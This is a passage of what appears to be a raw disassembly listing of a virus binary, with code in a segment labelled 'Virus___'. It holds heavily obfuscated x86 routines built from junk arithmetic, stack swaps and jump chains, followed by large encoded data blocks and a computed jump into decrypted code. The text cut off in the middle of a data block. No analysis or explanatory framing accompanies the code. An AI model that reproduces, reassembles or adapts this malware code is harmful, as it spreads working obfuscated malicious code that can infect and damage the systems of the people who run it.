		push	eax
		mov	eax, 7C565443h
		dec	eax
		xor	eax, 60F50C43h
		shl	eax, 4
		shl	eax, 8
		shr	eax, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6AD0197Eh
		push	eax
		mov	eax, 3448603Fh
		sub	eax, 0DADE5908h
		add	esi, eax
		pop	eax
		jmp	loc_5580CE
; ---------------------------------------------------------------------------


loc_56491C:				; CODE XREF: Virus___:00551BF4j
		sub	al, 99h
		pop	ecx
		pop	edx
		push	ebx
		jmp	loc_5560BC
; ---------------------------------------------------------------------------


loc_564926:				; CODE XREF: Virus___:0055A770j
		add	ecx, edx
		pop	edx
		jmp	loc_550E85
; ---------------------------------------------------------------------------


loc_56492E:				; CODE XREF: Virus___:00564A97j
		push	ecx
		mov	ecx, 77153785h
		xor	ecx, 441B3E74h
		jmp	loc_558C4D
; ---------------------------------------------------------------------------


loc_56493F:				; CODE XREF: Virus___:005600BBj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_564944:				; CODE XREF: Virus___:00551FC4j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		movzx	cx, al
		sub	esp, 4
		jmp	loc_563DD9
; ---------------------------------------------------------------------------


loc_56495C:				; CODE XREF: Virus___:0055E2F5j
		mov	edx, 6DA10406h
		push	edx
		xor	dword ptr [esp], 7D911472h
		jmp	loc_563E46
; ---------------------------------------------------------------------------


loc_56496E:				; CODE XREF: Virus___:005508E4j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_553615
; ---------------------------------------------------------------------------


loc_56498A:				; CODE XREF: Virus___:0055E461j
		push	eax
		mov	eax, 52E6413Eh
		shr	eax, 5
		sub	eax, 2F22770Ch
		jmp	loc_55E7E5
; ---------------------------------------------------------------------------


loc_56499D:				; CODE XREF: Virus___:00559F63j
		pop	edi
		add	dword ptr [esp+4], 4BA8513Fh
		sub	[esp+4], ebx
		push	ecx
		jmp	loc_557EC7
; ---------------------------------------------------------------------------


loc_5649B0:				; CODE XREF: Virus___:00559B41j
		add	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 58C24230h
		add	esi, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 7EF74FBDh
		or	ebp, 211E2AC9h
		sub	ebp, 31BD49CBh
		not	ebp
		jmp	loc_55A237
; ---------------------------------------------------------------------------


loc_5649DC:				; CODE XREF: Virus___:00559309j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559FD2
; ---------------------------------------------------------------------------


loc_5649EA:				; CODE XREF: Virus___:0055FA18j
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_550539
; ---------------------------------------------------------------------------


loc_5649F4:				; CODE XREF: Virus___:0056144Cj
		push	esi
		mov	esi, 190266h
		neg	esi
		sub	esi, 47F6222Fh
		shr	esi, 8
		or	esi, 3D0E1A8Ch
		shl	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_562F43
; ---------------------------------------------------------------------------


loc_564A1C:				; CODE XREF: Virus___:00558A1Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5628ED
; ---------------------------------------------------------------------------


loc_564A27:				; CODE XREF: Virus___:00560943j
		add	edi, 59F055CCh
		add	edi, 584604Eh
		shr	edi, 8
		push	esi
		mov	esi, 1CF00631h
		jmp	loc_558372
; ---------------------------------------------------------------------------


loc_564A41:				; CODE XREF: Virus___:005586A9j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55C1FE
; ---------------------------------------------------------------------------


loc_564A55:				; CODE XREF: Virus___:00555AB3j
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_55AA4A
; ---------------------------------------------------------------------------


loc_564A5F:				; CODE XREF: Virus___:00557047j
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55EE3E
; ---------------------------------------------------------------------------


loc_564A69:				; CODE XREF: Virus___:0055BA80j
		pop	eax
		push	ebx
		mov	ebx, 288A6CC7h
		jmp	loc_551A42
; ---------------------------------------------------------------------------


loc_564A75:				; CODE XREF: Virus___:00564CDBj
		push	edi
		push	eax
		jmp	loc_5561FD
; ---------------------------------------------------------------------------


loc_564A7C:				; CODE XREF: Virus___:0055AB5Fj
		sub	edi, 72E57EAh
		add	edi, 23DE429Ch
		add	edi, eax
		sub	edi, 23DE429Ch
		add	edi, 72E57EAh
		pop	eax
		jmp	loc_56492E
; ---------------------------------------------------------------------------


loc_564A9C:				; CODE XREF: Virus___:0055F4F4j
		mov	ch, al
		jmp	loc_55AFFB
; ---------------------------------------------------------------------------


loc_564AA3:				; CODE XREF: Virus___:005589A0j
		add	ch, 5
		add	al, ch
		jmp	loc_55CA13
; ---------------------------------------------------------------------------


loc_564AAD:				; CODE XREF: Virus___:0055D024j
		dec	eax
		xor	eax, 6A573BDDh
		xor	esi, eax
		pop	eax
		xor	esi, 381062E9h
		add	ebp, esi
		pop	esi
		jmp	loc_56003A
; ---------------------------------------------------------------------------


loc_564AC4:				; CODE XREF: Virus___:0055B0F6j
		shl	ebx, 5
		xor	ebx, 56FB2E87h
		sub	ebx, 1E76EC23h
		jmp	loc_558E12
; ---------------------------------------------------------------------------


loc_564AD8:				; CODE XREF: Virus___:0055B5EAj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		sub	esi, 0A406C00h
		add	esi, 306829F9h
		jmp	loc_55C765
; ---------------------------------------------------------------------------


loc_564B08:				; CODE XREF: Virus___:0055C5E0j
		push	ebx
		mov	bh, 18h
		sub	bh, 39h
		mov	dl, bh
		jmp	loc_55F7AD
; ---------------------------------------------------------------------------


loc_564B15:				; CODE XREF: Virus___:0055869Ej
		mov	ch, al
		mov	eax, [esp]
		add	esp, 4
		sub	al, ch
		jmp	loc_556DA3
; ---------------------------------------------------------------------------


loc_564B24:				; CODE XREF: Virus___:0055D142j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_564B29:				; CODE XREF: Virus___:005590A5j
		shl	esi, 6
		add	esi, 0FDCCE4FEh
		sub	eax, 3E1449BEh
		add	eax, esi
		add	eax, 3E1449BEh
		pop	esi
		add	eax, ebp
		sub	eax, 5B1C4C3Eh
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_562579
; ---------------------------------------------------------------------------


loc_564B56:				; CODE XREF: Virus___:00556C6Bj
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 34A90157h
		sub	edi, 6629169Fh
		add	edi, 77307F88h
		add	edi, eax
		sub	edi, 77307F88h
		jmp	loc_55ACEA
; ---------------------------------------------------------------------------


loc_564B7C:				; CODE XREF: Virus___:0054FFBAj
		pop	ebx
		push	eax
		mov	eax, 7C8A8C39h
		add	edx, eax
		pop	eax
		add	ecx, edx
		pop	edx
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2
		jmp	loc_559207
; ---------------------------------------------------------------------------


loc_564B99:				; CODE XREF: Virus___:0055DE08j
		push	2F807058h
		pop	edx
		sub	edx, 4CF75FE5h
		sub	edx, 34214F50h
		jmp	loc_54FDD6
; ---------------------------------------------------------------------------


loc_564BB0:				; CODE XREF: Virus___:00561D3Aj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B2DE
; ---------------------------------------------------------------------------


loc_564BB9:				; CODE XREF: Virus___:0055D324j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55DD95
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_564257
; ---------------------------------------------------------------------------


loc_564BD7:				; CODE XREF: Virus___:0056367Fj
		push	ebx
		mov	ebx, 50B748F3h
		add	edi, 4CBE2209h
		jmp	loc_55397C
; ---------------------------------------------------------------------------


loc_564BE8:				; CODE XREF: Virus___:00564505j
		add	esi, 6B1D016Ah
		sub	esi, ecx
		sub	esi, 6B1D016Ah
		add	esi, 4FE15848h
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 1479DB8Eh
		add	edi, 5A6D5591h
		add	edi, esi
		sub	edi, 5A6D5591h
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551353
; ---------------------------------------------------------------------------


loc_564C2A:				; CODE XREF: Virus___:005513A6j
		shr	ecx, 1
		add	ecx, 0BF7325C6h
		mov	esi, ecx
		pop	ecx
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 2
		push	edx
		mov	edx, 19575441h
		not	edx
		inc	edx
		sub	edx, 2E8562F5h
		neg	edx
		or	edx, 675D09ABh
		add	edx, 0D51569F0h
		add	ebp, edx
		pop	edx
		jmp	loc_55A2C8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		jmp	loc_55B6FF
; ---------------------------------------------------------------------------


loc_564C76:				; CODE XREF: Virus___:0055F532j
		pop	esi
		push	edi
		jmp	loc_55DFF7
; ---------------------------------------------------------------------------


loc_564C7D:				; CODE XREF: Virus___:00551A00j
		add	eax, 4
		push	eax
		jmp	loc_554F35
; ---------------------------------------------------------------------------


loc_564C88:				; CODE XREF: Virus___:005501FCj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_564C8D:				; CODE XREF: Virus___:005646A2j
		mov	ebp, 2D326D6Eh
		xor	ebp, 2D326D6Ah
		add	esi, ebp
		pop	ebp
		push	7183h
		mov	[esp], ebx
		jmp	loc_55D916
; ---------------------------------------------------------------------------


loc_564CA8:				; CODE XREF: Virus___:0055C9D9j
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_553577
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_552638
; ---------------------------------------------------------------------------


loc_564CB8:				; CODE XREF: Virus___:0055746Bj
		mov	bh, 0F6h
		jmp	loc_555137
; ---------------------------------------------------------------------------


loc_564CBF:				; CODE XREF: Virus___:00564069j
		xor	ecx, 3E0960FFh
		jmp	loc_55E3F0
; ---------------------------------------------------------------------------


loc_564CCA:				; CODE XREF: Virus___:00554719j
		add	edi, 4
		push	eax
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_564A75
; ---------------------------------------------------------------------------


loc_564CE0:				; CODE XREF: Virus___:0055B184j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5603BF
; ---------------------------------------------------------------------------


loc_564CEC:				; CODE XREF: Virus___:00542C3Bj
		jmp	loc_564D47
; ---------------------------------------------------------------------------
		db 0Eh,	29h, 96h
		dd 45535508h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	1000407h
		dd 4001500h, 1D003800h,	2E800h,	7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_564D47:				; CODE XREF: Virus___:loc_564CECj
		jmp	loc_56563A
; ---------------------------------------------------------------------------
		push	71D9CCEh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71D9D64h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71D9E8Dh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71D9FC0h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71DA03Dh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71DA154h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71DA1DBh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		dw 0ED17h
		dd 10DD9734h, 50A62EFDh, 8B70F88Bh, 3F3BB556h, 0EE3141E2h
		dd 0F98A57A3h, 0BE4D846Fh, 4D1EC336h, 5A67B83h,	0A332ED2Fh
		dd 2794C101h, 0A40C9B97h, 4052DB5Ch, 0AE6A4197h, 74A5C194h
		dd 88593B1h, 4FACA6DDh,	64E39592h, 9E10CBC9h, 1C736F47h
		dd 0D85F1916h, 22CD4755h, 37E038EFh, 6E8870A8h,	9DB4BFC9h
		dd 399B93AAh, 6032E70Fh, 0C413CC3Eh, 446C647Eh,	7ED2E52Eh
		dd 5C566C64h, 0EE5040EBh, 647EA235h, 46AE266Ch,	0E800928Dh
		dd 6EC9353Fh, 647F22B5h, 748CA66Ch, 0B7B33540h,	0AE49C67Fh
		dd 75Eh, 31D207F1h, 0C89B4EB7h,	8221FA00h, 5FEC2DCAh, 0EBB86595h
		dd 0FD7D48D7h, 3EC98320h, 699058EBh, 915D17B4h,	5741AF7Ch
		dd 0C102496Ch, 2945C994h, 528F6DE7h, 0CE46C1DDh, 1A32ED26h
		dd 65E8CFA8h, 0A9518DA3h, 78AFC774h, 0A39C8780h, 8DA36614h
		dd 0DFE2CF1Fh, 9724F5AEh, 0C0A1579Fh, 0D1091509h, 0CEA91BB9h
		dd 8DA452E7h, 94C4436Bh, 0A8DB97ABh, 0A9EB0394h, 8582579Fh
		dd 0BFC03953h, 0A6459DB4h, 48B4CB2Eh, 50C07F97h, 3A4773A4h
		dd 0CB575B56h, 6C8A554h, 915B0000h, 0D421AB78h,	0CEA6201h
		dd 47B43CCFh, 0FB7FC99Ah, 0B27D8526h, 3DCE13E7h, 0F29148B3h
		dd 8122FF7Ah, 59EA3FC7h, 0DFF6A1EBh, 6394C102h,	0DFE7DFD3h
		dd 8D2DB04h, 8D8780FAh,	5973AC61h, 4071569Dh, 1CBE1B32h
		dd 4F49C463h, 0B8B86F87h, 3A49B4Ch, 0E21DC70Fh,	0AD93883Ah
		dd 59h,	0E2373F81h, 7FFF24B0h, 0D38E17A5h, 0E7DDF554h
		dd 261EB8DFh, 0A0672E6Dh, 0A3D0DAE1h, 6595BF8Dh, 79858FB8h
		dd 323507A4h, 383E19BBh, 0BA94AE7Fh, 0BD37E412h, 494B63BEh
		dd 28F73A3Fh, 0E4CC766Ch, 6C845DA6h, 0D9E5B754h, 0D8C9C6DDh
		dd 1B151212h, 6D0C03DEh, 612h, 8C6DE745h, 0EC4DE51h, 7DF730E9h
		dd 9E35CF1h, 423D9F0Eh,	94AE5DBCh, 0DD97343Eh, 0B4DEFC11h
		dd 5E399B44h, 94BE6E77h, 1534F3FBh, 0CF6F3B83h,	0BF23FF3Fh
		dd 0E677F088h, 4CD047C8h, 623048FBh, 0C32CACB9h, 983A309Bh
		dd 35D60BEEh, 0CF12E963h, 4BC54250h, 0F528D1AEh, 0D28DFFDDh
		dd 8DAA0B03h, 0FDB86F87h, 1226FB03h, 5E722777h,	9FE08B84h
		dd 0B2000005h, 78F09348h, 0C18B588Dh, 8B45E63Bh, 561EAD6Ch
		dd 94AA79A2h, 0E13A3E89h, 0A8618A42h, 75A8511Bh, 3DD61ED6h
		dd 0AF88826Eh, 94C10408h, 3FF6FA88h, 332DE237h,	881916CBh
		dd 8D64292h, 118DA368h,	88A3B44Ah, 0FEF9FF93h, 3FD3FFFFh
		dd 5EE9837h, 0D84353CCh, 8DA365FDh, 7B59717Dh, 30F72AD1h
		dd 5B74F385h, 0EDC17E93h, 621CC7D5h, 7194AE65h,	0BEF43465h
		dd 59CEB70Eh, 0D527C4EEh, 5C817952h, 16C1D3E3h,	94BEE8BFh
		dd 81132B43h, 78AF7287h, 0C8617720h, 0C5E19BC9h, 8318B4Ah
		dd 0EE3A8DA4h, 7C17AA6h, 91CC9388h, 0AE000001h,	0EBCAB5E7h
		dd 8E8DA365h, 0A36602D5h, 0CF6C868Dh, 6DD09FA7h, 6FF775DEh
		dd 0E52B8BB8h, 0EEC9CB62h, 94AF2FC8h, 0D872204Ah, 6E44FB2Ch
		dd 0B39ECB9h, 2EDD0943h, 76AB52FCh, 652C0AADh, 0A3648E6Ch
		dd 0FDDF4EC9h, 700D8C02h, 0CB446E73h, 0AB7E8781h, 57A45E74h
		dd 0E39958Ah, 2674F97Eh, 8933627Dh, 1AC5376Eh, 6C6544BBh
		dd 0B469953Fh, 14132B7Bh, 818B0925h, 4903A075h,	474C68BDh
		dd 0B47FB6EDh, 46C905Bh, 75FF0000h, 0B8450FDCh,	0E80EC665h
		dd 23D89033h, 57A32DFEh, 56D9F98Ah, 9132EF0Bh, 56F52CD7h
		dd 0E5865B9Eh, 0BD4E836Bh, 3B9A4557h, 0BF94C105h, 0C047032Fh
		dd 0A875FE3Dh, 976451CAh, 0A1F9D54Ah, 28500B89h, 0A294A80Eh
		dd 0F109C22Ah, 226571A3h, 4FF7CC27h, 7FFA7AADh,	7B81F400h
		dd 3D5569A6h, 0CB98B002h, 0EA25F801h, 7823F27Ah, 94C0D45Dh
		dd 7DB9D1DDh, 575B5E22h, 0EFBD3CD3h, 2000003h, 0C88023F8h
		dd 915BE83Dh, 5B15B66Bh, 26AE7D9Ch, 447A09D2h, 0B16A8ED9h
		dd 78915A12h, 5D821ABh,	0CD06EE66h, 1FF8D23Eh, 94C105B8h
		dd 3F86AA38h, 332DE237h, 881916CBh, 8D64292h, 118DA368h
		dd 88A3B44Ah, 0FD49FF93h, 0E7D3FFFFh, 65EBCAB5h, 476F8DA3h
		dd 73A450C0h, 0B104FF21h, 318DA365h, 0B547F235h, 37993BB2h
		dd 453FD21Dh, 1EB46BB6h, 55647629h, 0B6E694AEh,	94BF509Ch
		dd 94BE9741h, 2C9DA5C1h, 0A852768Bh, 0B9A97A92h, 4DC7AF0Ch
		dd 0E0B26DA0h, 5BD25527h, 0FE7D1779h, 1CD6EC23h, 0B10D02DFh
		dd 6A09AF76h, 0DE6894AEh, 7042FD16h, 2B1484B7h,	94BE818Ch
		dd 4FCEE60Ch, 0CD335B94h, 14999EECh, 39E25486h,	3CAFD49Eh
		dd 0D4BD18C3h, 313D3CAFh, 0E4BF6882h, 43BAB6AAh, 96B0E208h
		dd 2985BA6Fh, 0BEB933FEh, 1AE36D2Fh, 0CD7A48C7h, 9C1DA09Bh
		dd 919D3CC5h, 0B46FD103h, 3CAFDC21h, 928285A1h,	5A12B16Ah
		dd 6C3D7992h, 99AF6C56h, 2D8F786h, 816B0000h, 0C431BB48h
		dd 7CFA7211h, 0B7440CDFh, 0EB0FD96Ah, 0C26D9536h, 0DDE03F7h
		dd 0C261B843h, 9132EF0Ah, 29FA2FD7h, 0CFE6D1FBh, 5394C106h
		dd 0C047AFC3h, 17E56F2Dh, 6C6955CAh, 0A8776B4h,	0AEFE2941h
		dd 0A8358BF5h, 0F5A7CF94h, 0CD429F5Bh, 0B4E636F1h, 423E9942h
		dd 7FFB94C1h, 871511A2h, 0C141F9DCh, 0BA6D7994h, 0C162BFBAh
		dd 23B26DDFh, 0A794C142h, 6198988Fh, 659183BCh,	0F02D84B0h
		dd 41DE575Ah, 251B6h, 0C11AE400h, 8E43AA22h, 548573FDh
		dd 0E33E3DB7h, 0AF708840h, 703BE21Ch, 3CB45788h, 834D1E33h
		dd 5018AB76h, 7CD073A4h, 756615Ah, 48DA94C1h, 2DC04724h
		dd 0EECAB46Fh, 5FE994A7h, 0F1CD4297h, 0EE59F07Bh, 0CB45575Fh
		dd 6DAE4C23h, 64B542B2h, 0A597344Ch, 368E0CA1h,	5ABA1FEAh
		dd 7BAD9A63h, 27FA7F09h, 0B26DDAE8h, 94C07529h,	968E81ADh
		dd 0EF86B962h, 8B588575h, 6A28BDB9h, 0C0752EB1h, 9788A294h
		dd 1EBC519Dh, 74E4F3ACh, 9C5D94C0h, 8FB8B241h, 0CF3731C0h
		dd 9F27491Ah, 0C74ACA5Ch, 0E0601B5h, 576F2DE6h,	6E95E10Dh
		dd 0DC2B7875h, 0A4245961h, 41E2A99Eh, 3C94424Dh, 7CA335Dh
		dd 4D414759h, 0B67189FFh, 0CE9DB6BEh, 15FC06DEh, 0E42FB8E4h
		dd 3A422646h, 3EE9CFAFh, 1A15CE36h, 8F0DCE2Ah, 0C53625Dh
		dd 0DFD794C1h, 0BB302FDh, 3F3794C1h, 0CB9F4D08h, 73A4508Bh
		dd 3FE018D0h, 0B92F2300h, 0B2A29D40h, 1CC13847h, 0BCF4BC4h
		dd 39E1B2CBh, 5D622D9h,	0D10AEE66h, 0CE13E65Eh,	0C217DF51h
		dd 0F62BD34Dh, 0C70FC339h, 0DA3AEEAEh, 837CDB1Fh, 94C10C34h
		dd 3466BEB4h, 61163BA8h, 694235Ah, 0C1417A5Dh, 33F4FE94h
		dd 6B8EB8E8h, 923D02A6h, 94AC4634h, 141C0B9Bh, 0B46995E8h
		dd 8E692B7Bh, 94C15E27h, 296B83ABh, 5DB91CC7h, 0AFB294C1h
		dd 0FAE0F946h, 0DA4D591Ah, 5A1F741Fh, 1240FCB3h, 0EF588D78h
		dd 0D420DB3Bh, 0A4306003h, 4565C03Fh, 4EC64102h, 9AB26DA6h
		dd 59D60BF0h, 0A652C245h, 5BF52775h, 0FDD8439Eh, 9C4D1178h
		dd 117914A3h, 0DD9E944Dh, 3FD21BD1h, 11C54D08h,	29E20AC1h
		dd 0F12AD29Ah, 85741E3Eh, 1A1DEF58h, 0B0560193h, 32541C55h
		dd 0F396B38h, 0A7FF30E9h, 1E8F8860h, 2273C3BCh,	7C164D1Dh
		dd 0D0E25DFEh, 0CCCEE457h, 35C4BB42h, 9857D0E8h, 0FA2FD670h
		dd 0E63BC34Dh, 825F9AB4h, 57F6318Dh, 0E920CB45h, 15CE363Eh
		dd 87CB7B1Ah, 0CC004B86h, 0CEA14D84h, 37D4EC25h, 0A39CB1BDh
		dd 98974AB1h, 4B4E8672h, 4D766573h, 2C1B179Fh, 6407D824h
		dd 0CDCF00ECh, 0EF65B443h, 415DD207h, 3600BC6h,	4E000000h
		dd 353FF10Dh, 0C531231Ch, 0D4251F10h, 0D51E1609h, 0E911033Ch
		dd 0F109FB34h, 0FA01F32Ch, 8278E827h, 876EE659h, 53D3DD52h
		dd 0C381E389h, 4, 8704EB83h, 248B241Ch,	46616824h, 14890000h
		dd 5B686824h, 4890000h,	0F8BD5524h, 0BA175D0Eh,	0EFC08D30h
		dd 2C8BEA01h, 4C48324h,	0CD68h,	24248900h, 4240481h, 58000000h
		dd 8904EC83h, 8B9240Ch,	1000000h, 591189C1h, 582434FFh
		dd 8B04C483h, 89512414h, 4C181E1h, 83000000h, 0C8704C1h
		dd 0F1E95C24h, 0D9FFFDD8h, 0BD9F56AEh, 0C2D31900h
		db 0F8h, 34h
; ---------------------------------------------------------------------------


loc_56563A:				; CODE XREF: Virus___:loc_564D47j
		mov	eax, 71DA451h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0Eh
		dd 46404AA4h, 650BADE5h, 0AF1A3F2Eh, 0FC6DAFE7h, 0CA23F81Ah
		dd 885C1367h, 0C0155CDFh, 0E87A3611h, 5, 0E870937Fh, 0C6B70F4Dh
		dd 81CE8B5Eh, 658FC6h, 8B665700h, 8ABB59D7h, 816CC0B0h
		dd 3F68BCC3h, 36FFF593h, 38D0Fh, 0F2800000h, 0F4805F9Bh
		dd 1C7817Fh, 6617A1F1h,	818AF5B9h, 0D4B12DEFh, 8148B222h
		dd 0A6ACAEFh, 1366B93Ch, 3E890A58h, 0BE9h, 0FD5E1100h
		dd 0C1C8B022h, 576DCDE4h, 0F01EE83h, 4E4EC1B7h,	814FB54Eh
		dd 1EBh, 0AB850F00h, 66FFFFFFh,	0E9F9F5BAh, 8Eh, 6DBD8360h
		dd 71B31h, 5840Fh, 79E90000h, 6A000000h, 303E8000h, 8850Fh
		dd 6A0000h, 35E946h, 3E800000h,	8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh,	12h, 17E80h
		dd 8850Fh, 0C4830000h, 16E908h,	858D0000h, 71B31E1h, 24048950h
		dd 24348950h, 95FF006Ah, 71B2959h, 85C6C361h, 71B1C05h
		dd 4E84Dh, 76A80000h, 8B50A435h, 8B042444h, 24448900h
		dd 0B5FF5804h, 71B08CDh, 3B0C858Dh, 0D0FF071Bh,	29598589h
		dd 0AAE9071Bh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	71DA6DBh
		dd 0A6D7858Dh, 8D50071Dh, 1DA64185h, 1685007h, 0FF800000h
		dd 1DA6E795h, 0FF196A07h, 1DA6DBB5h, 6A016A07h,	70858D00h
		dd 50071DA6h, 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 0A6D7B5FFh
		dd 95FF071Dh, 71DA6E3h,	0A6D7B5FFh, 95FF071Dh, 71B21A9h
		dd 0DB8589C3h, 8D071DA6h, 1DA6D785h, 858D5007h,	71DA641h
		dd 16850h, 95FF8000h, 71DA6E7h,	858D046Ah, 71DA6DBh, 6A046A50h
		dd 9A858D00h, 50071DA6h, 0A6D7B5FFh, 95FF071Dh,	71B20FDh
		dd 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh,	95FF071Dh
		dd 71B21A9h, 0DB8589C3h, 8D071DA6h, 1DA6D785h, 858D5007h
		dd 71DA641h, 16850h, 95FF8000h,	71DA6E7h, 858D046Ah, 71DA6DBh
		dd 6A046A50h, 82858D00h, 50071DA6h, 0A6D7B5FFh,	95FF071Dh
		dd 71B20FDh, 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh
		dd 95FF071Dh, 71B21A9h,	0DB8589C3h, 8D071DA6h, 1DA6D785h
		dd 858D5007h, 71DA641h,	16850h,	95FF8000h, 71DA6E7h, 858D046Ah
		dd 71DA6DBh, 6A046A50h,	0AD858D00h, 50071DA6h, 0A6D7B5FFh
		dd 95FF071Dh, 71B20FDh,	0A6D7B5FFh, 95FF071Dh, 71DA6E3h
		dd 0A6D7B5FFh, 95FF071Dh, 71B21A9h, 0DB8589C3h,	8D071DA6h
		dd 1DA6D785h, 858D5007h, 71DA641h, 16850h, 95FF8000h, 71DA6E7h
		dd 858D046Ah, 71DA6DBh,	6A046A50h, 5D858D00h, 50071DA6h
		dd 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 0A6D7B5FFh,	95FF071Dh
		dd 71DA6E3h, 0A6D7B5FFh, 95FF071Dh, 71B21A9h, 0BDBD83C3h
		dd 71B24h, 0B840Fh, 9D8B0000h, 71B24BDh, 894CC383h, 0BD83C303h
		dd 71B24BDh, 0B840F00h,	8B000000h, 1B24BD9Dh, 50C38307h
		dd 83C30389h, 1B24BDBDh, 840F0007h, 0Bh, 24BD9D8Bh, 0C383071Bh
		dd 0C3038954h, 24BDBD83h, 0F00071Bh, 0B84h, 0BD9D8B00h
		dd 83071B24h, 38958C3h,	0BDBD83C3h, 71B24h, 0B840Fh, 9D8B0000h
		dd 71B24BDh, 895CC383h,	60C3C303h, 0A6DB8589h, 858D071Dh
		dd 71DA6D7h, 41858D50h,	50071DA6h, 168h, 0E795FF80h, 6A071DA6h
		dd 0DB858D04h, 50071DA6h, 6A046Ah, 0A6D2858Dh, 0FF50071Dh
		dd 1DA6D7B5h, 0FD95FF07h, 83071B20h, 1B1BD1BDh,	840F0007h
		dd 0Ch,	0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh
		dd 71B21A9h, 8960C361h,	1DA6DB85h, 0D7858D07h, 50071DA6h
		dd 0A641858Dh, 6850071Dh, 80000001h, 0A6E795FFh, 46A071Dh
		dd 0A6DB858Dh, 6A50071Dh, 8D006A04h, 1DA6B485h,	0B5FF5007h
		dd 71DA6D7h, 20FD95FFh,	0BD83071Bh, 71B1BD1h, 0C840F00h
		dd 0FF000000h, 1DA6D7B5h, 0E395FF07h, 0FF071DA6h, 1DA6D7B5h
		dd 0A995FF07h, 61071B21h, 858960C3h, 71DA6DBh, 0A6D7858Dh
		dd 8D50071Dh, 1DA64185h, 1685007h, 0FF800000h, 1DA6E795h
		dd 8D046A07h, 1DA6DB85h, 46A5007h, 858D006Ah, 71DA6BBh
		dd 0D7B5FF50h, 0FF071DA6h, 1B20FD95h, 0D1BD8307h, 71B1Bh
		dd 0C840Fh, 0B5FF0000h,	71DA6D7h, 0A6E395FFh, 0B5FF071Dh
		dd 71DA6D7h, 21A995FFh,	0C361071Bh, 0DB858960h,	8D071DA6h
		dd 1DA6D785h, 858D5007h, 71DA641h, 16850h, 95FF8000h, 71DA6E7h
		dd 858D046Ah, 71DA6DBh,	6A046A50h, 0C3858D00h, 50071DA6h
		dd 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 1BD1BD83h, 0F00071Bh
		dd 0C84h, 0D7B5FF00h, 0FF071DA6h, 1DA6E395h, 0D7B5FF07h
		dd 0FF071DA6h, 1B21A995h, 60C36107h, 0A6DB8589h, 858D071Dh
		dd 71DA6D7h, 41858D50h,	50071DA6h, 168h, 0E795FF80h, 6A071DA6h
		dd 0DB858D04h, 50071DA6h, 6A046Ah, 0A6CA858Dh, 0FF50071Dh
		dd 1DA6D7B5h, 0FD95FF07h, 83071B20h, 1B1BD1BDh,	840F0007h
